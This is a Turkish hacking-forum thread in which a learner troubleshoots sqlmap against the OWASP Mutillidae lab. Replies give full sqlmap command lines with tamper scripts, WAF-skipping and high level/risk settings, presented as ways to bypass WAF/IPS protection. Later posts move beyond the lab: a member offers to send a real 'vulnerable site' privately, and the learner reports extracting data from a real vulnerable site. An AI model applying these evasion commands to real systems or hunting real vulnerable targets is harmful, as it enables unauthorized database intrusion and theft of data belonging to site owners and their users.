Sqlmap hata veriyor

whteb1rd' Alıntı:

Arkadaşlar şimdi OWASPtan Mutillidae'de sql injection deniyorum ancak şu hatayı alıyorum sürekli,

Kod:

[CRITICAL] all tested parameters do not appear to be injectable.
Try to increase values for '--level'/'--risk' options if you wish to
perform more tests. If you suspect that there is some kind of protection
mechanism involved (e.g. WAF) maybe you could try to use option '--tamper'
(e.g. '--tamper=space2comment') and/or switch '--random-agent'

ve yazdığım syntax da bu;

Kod:

sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=login.php"
--data "username=test&password=test&user-info-php-submit-button=View+Account+Details" --tables

Yardımcı olabilecek veya doğru syntaxi söyleyebilecek arkadaşlara açığım yardım edin lütfen.

Denediğim sayfa; http://192.168.56.102/mutillidae/index.php?page=user-info.php

Genişletmek için tıkla ...

random-agnet kullan çözemezsen ise githubda SQL geliştiricilerine sor.

Adanlıtrojan' Alıntı:

random-agnet kullan çözemezsen ise githubda SQL geliştiricilerine sor.

Genişletmek için tıkla ...

Olmuyor hocam öyle de. Geliştiriciye de soramam şu an, başka bilgi verebilir misiniz? İzlediğim kursta oluyor çünkü.

whteb1rd' Alıntı:

Olmuyor hocam öyle de. Geliştiriciye de soramam şu an, başka bilgi verebilir misiniz? İzlediğim kursta oluyor çünkü.

Genişletmek için tıkla ...

bir dakika beklermisiniz
?

whteb1rd' Alıntı:

Olmuyor hocam öyle de. Geliştiriciye de soramam şu an, başka bilgi verebilir misiniz? İzlediğim kursta oluyor çünkü.

Genişletmek için tıkla ...

Kursa göre gitme aç googleyi yaz araştır yeni methodlar öğren kursa girme demiyorum bağımlı kalma kursa.

whteb1rd' Alıntı:

Arkadaşlar şimdi OWASPtan Mutillidae'de sql injection deniyorum ancak şu hatayı alıyorum sürekli,

Kod:

[CRITICAL] all tested parameters do not appear to be injectable.
Try to increase values for '--level'/'--risk' options if you wish to
perform more tests. If you suspect that there is some kind of protection
mechanism involved (e.g. WAF) maybe you could try to use option '--tamper'
(e.g. '--tamper=space2comment') and/or switch '--random-agent'

ve yazdığım syntax da bu;

Kod:

sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=login.php"
--data "username=test&password=test&user-info-php-submit-button=View+Account+Details" --tables

Yardımcı olabilecek veya doğru syntaxi söyleyebilecek arkadaşlara açığım yardım edin lütfen.

Denediğim sayfa; http://192.168.56.102/mutillidae/index.php?page=user-info.php

Genişletmek için tıkla ...

Krall SqlMap Cheatsheet burdan bakarsan hatan nerede falan. Bazen küçük şeylerde bile bir hata oluşabiliyor.

TheSadError' Alıntı:

Krall SqlMap Cheatsheet burdan bakarsan hatan nerede falan. Bazen küçük şeylerde bile bir hata oluşabiliyor.

Genişletmek için tıkla ...

Bakıyorum hocam, başka sitede de Burpsuite ile intercept yapıp log ile çalışın diyor ama sizinkine öncelik veriyorum şu an.

whteb1rd' Alıntı:

Bakıyorum hocam, başka sitede de Burpsuite ile intercept yapıp log ile çalışın diyor ama sizinkine öncelik veriyorum şu an.

Genişletmek için tıkla ...

Teşekkürler. Eğer olmazsa ben bizzat araştıracağım. Ama böyle durumlarda erroru kopyalayıp google yapıştırınca bir çok çözüm bulabilirsiniz.

Hocam bir gelişme var ama sürekli unable to connect to URL atmaya devam ediyor yemin ediyorum sinir etti, bir çözümü var mı?

whteb1rd' Alıntı:

Arkadaşlar şimdi OWASPtan Mutillidae'de sql injection deniyorum ancak şu hatayı alıyorum sürekli,

Kod:

[CRITICAL] all tested parameters do not appear to be injectable.
Try to increase values for '--level'/'--risk' options if you wish to
perform more tests. If you suspect that there is some kind of protection
mechanism involved (e.g. WAF) maybe you could try to use option '--tamper'
(e.g. '--tamper=space2comment') and/or switch '--random-agent'

ve yazdığım syntax da bu;

Kod:

sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=login.php"
--data "username=test&password=test&user-info-php-submit-button=View+Account+Details" --tables

Yardımcı olabilecek veya doğru syntaxi söyleyebilecek arkadaşlara açığım yardım edin lütfen.

Denediğim sayfa; http://192.168.56.102/mutillidae/index.php?page=user-info.php

Genişletmek için tıkla ...

dostum parametreler çok eksik al bunları kullan = sqlmap -u "" --random-agent --skip-waf --tamper=between,randomcase,space2comment --time-sec=3 --level=3 --risk=3 --threads=10 --no-cast --drop-set-cookie --dbms="" --answers="optimize=Y" -v 3 --dbs ("" yerine siteyi gir ve dbms'yi eklemeyi unutma MsSQL mi yoksa MySQL mi ona dikkat et eğer mysql ise --dbms="MySQL" yaz mssql ise --dbms"MsSQL"

hatta al direk şöyle ayarlıyayım = sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=user-info.php" --random-agent --skip-waf --tamper=between,randomcase,space2comment --time-sec=3 --level=3 --risk=3 --threads=10 --no-cast --drop-set-cookie --dbms="MySQL" --answers="optimize=Y" -v 3 --dbs

R1Px' Alıntı:

hatta al direk şöyle ayarlıyayım = sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=user-info.php" --random-agent --skip-waf --tamper=between,randomcase,space2comment --time-sec=3 --level=3 --risk=3 --threads=10 --no-cast --drop-set-cookie --dbms="MySQL" --answers="optimize=Y" -v 3 --dbs

Genişletmek için tıkla ...

Hocam bu kod bence ileride normal kullanım için hatırlanılamaz yani, cidden tek çözümü bu mu? Hem sürekli PAYLOAD atıp duruyor anlamıyorum ne yaptığımdan yani yanlış anlamayın OWASPa mı sqlmapa mı kızacağımı bilemedim.

whteb1rd' Alıntı:

Hocam bu kod bence ileride normal kullanım için hatırlanılamaz yani, cidden tek çözümü bu mu? Hem sürekli PAYLOAD atıp duruyor anlamıyorum ne yaptığımdan yani yanlış anlamayın OWASPa mı sqlmapa mı kızacağımı bilemedim.

Genişletmek için tıkla ...

Asıl normal kullanımı bu dostum. Kimse hatırlamıyor not alıyor. Benimde dosyalarım arasında kayıtlı kullanacağım zaman oradan alıyorum. Uğraşmak istemiyorsan benim sqlmap toolumu kullanabilirsin: https://www.turkhackteam.org/konular/connecsql-v2-0.2016693/

connec' Alıntı:

Asıl normal kullanımı bu dostum. Kimse hatırlamıyor not alıyor. Benimde dosyalarım arasında kayıtlı kullanacağım zaman oradan alıyorum. Uğraşmak istemiyorsan benim sqlmap toolumu kullanabilirsin: https://www.turkhackteam.org/konular/connecsql-v2-0.2016693/

Genişletmek için tıkla ...

Deneyeyim şimdi

whteb1rd' Alıntı:

Deneyeyim şimdi

Genişletmek için tıkla ...

Hocam sadece payload atıyor ve çok yavaş sürüyor, normal deniyorum yine olmazssa sqlmap kullanmam bir daha.

whteb1rd' Alıntı:

Hocam sadece payload atıyor ve çok yavaş sürüyor, normal deniyorum yine olmazssa sqlmap kullanmam bir daha.

Genişletmek için tıkla ...

Dostum normal sitelerde uzun sürmesi normaldir. Çünkü SQLMap binlerce şey deniyor. Ama Mutillidae'de neden hemen bulmuyor anlamadım.

connec' Alıntı:

Dostum normal sitelerde uzun sürmesi normaldir. Çünkü SQLMap binlerce şey deniyor. Ama Mutillidae'de neden hemen bulmuyor anlamadım.

Genişletmek için tıkla ...

Mutillidae tam küfürlük program hocam, bozuğun bozuğu. Diğerleri gayet iyi tabii, çalışıyor ama bu aptal aptal işleri var sinir ediyor adamı. Ben çıkıp da sqlmap denemesi yapabileceğim bir site de bulamam hemen. Pes ediyorum bu sqlmap konusunda artık önümüze bakacağız.

whteb1rd' Alıntı:

Mutillidae tam küfürlük program hocam, bozuğun bozuğu. Diğerleri gayet iyi tabii, çalışıyor ama bu aptal aptal işleri var sinir ediyor adamı. Ben çıkıp da sqlmap denemesi yapabileceğim bir site de bulamam hemen. Pes ediyorum bu sqlmap konusunda artık önümüze bakacağız.

Genişletmek için tıkla ...

sana özelden açıklı site atıyorum

connec'in attığı site sayesinde kısa kodla çalıştırabildim arkadaşlar, mutillidaede sorun var.

whteb1rd' Alıntı:

Hocam sadece payload atıyor ve çok yavaş sürüyor, normal deniyorum yine olmazssa sqlmap kullanmam bir daha.

Genişletmek için tıkla ...

payload atıp duruyor deme sqlmap arkada hangi kodları çalıştırdığını hangi kodları enjeckte ettiğini söylüyor + yavaş olmasının nedeni wifi hızından dolayı bu işler sabır gerektiriyor bilirsin

critical error demesinin nedeni waf/ips nin korumasıdır ve benim verdiğim parametrelerle waf/ips yi bypasslayabilirsin işte payload demesinin önemi yok sadece sitenin sonuna neler getiriyor onu gösteriyor... sqlmap sadece --tables --dump demekle olmuyor benim verdiğim parametreler ileri seviyeler dene bulacaktır waf bypasslanacaktır

sen sadece bu parametreleri gir ve bekle [Y/n] gibi şeyler gelirse Y de geç (hepsine) + ilk başlarda Continue, string, regex derse s de sonra ordan birisini gir bulması kolaylaşacak

connec' Alıntı:

sana özelden açıklı site atıyorum

Genişletmek için tıkla ...

hocam bana da atar mısınız

R1Px' Alıntı:

critical error demesinin nedeni waf/ips nin korumasıdır ve benim verdiğim parametrelerle waf/ips yi bypasslayabilirsin işte payload demesinin önemi yok sadece sitenin sonuna neler getiriyor onu gösteriyor... sqlmap sadece --tables --dump demekle olmuyor benim verdiğim parametreler ileri seviyeler dene bulacaktır waf bypasslanacaktır

sen sadece bu parametreleri gir ve bekle [Y/n] gibi şeyler gelirse Y de geç (hepsine) + ilk başlarda Continue, string, regex derse s de sonra ordan birisini gir bulması kolaylaşacak

Genişletmek için tıkla ...

Hocam ama o uzun kodlar olmadan gerçek açıklı sitede rahatlıkla aldım verileri ben